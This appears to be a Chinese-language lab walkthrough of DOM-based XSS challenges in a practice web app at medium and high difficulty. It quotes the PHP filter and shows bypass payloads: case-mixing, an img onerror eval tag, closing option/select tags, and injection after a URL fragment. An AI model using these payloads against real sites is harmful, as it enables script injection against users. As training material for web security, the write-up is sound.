正常
可以看到是Get型
普通注入
<script>alert('lady_killer9')</script>
过了一会没有问题
过了一会,然后显示English。尝试大小写绕过。
大小写绕过
<scRipt>alert('lady_killer9')</sCript>
正常
和上面一样,过了一会显示English。尝试Html标签绕过。
Html标签绕过
<img src=x:alert(alt) onerror=eval(src) alt=xss>
仍没有显示
还是没有显示,那应该是需要闭合标签了
闭合标签
></option></select><img src=x:alert(alt) onerror=eval(src) alt=xss>
注入成功
代码插进去了
在这之前我们已经按了F12,查看了源代码,其实除了存储型,DOM和反射都没什么意思,因为可以F12直接查看,对其他用户也没什么攻击性。
代码分析
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
后端过滤了一下<script,大小写都不行。
XSS(DOM)-HIGH
HIGH级别就不从普通的开始试了
闭合+HTML标签绕过
></option></select><img src=x:alert(alt) onerror=eval(src) alt=xss>
失败了
还是会变成English,应该是后端的问题。我也不知道怎么干了。。。
----------------写完后面的反射型,我又回来了---------------
锚点
反射型XSS注入url的锚点(#)后并没有标签id,这似乎提醒着我们可以在锚点后注入(《CTF特训营 P28页也提到了锚点》),这样就不会传到服务器了。
English#<script>alert('xss')</script>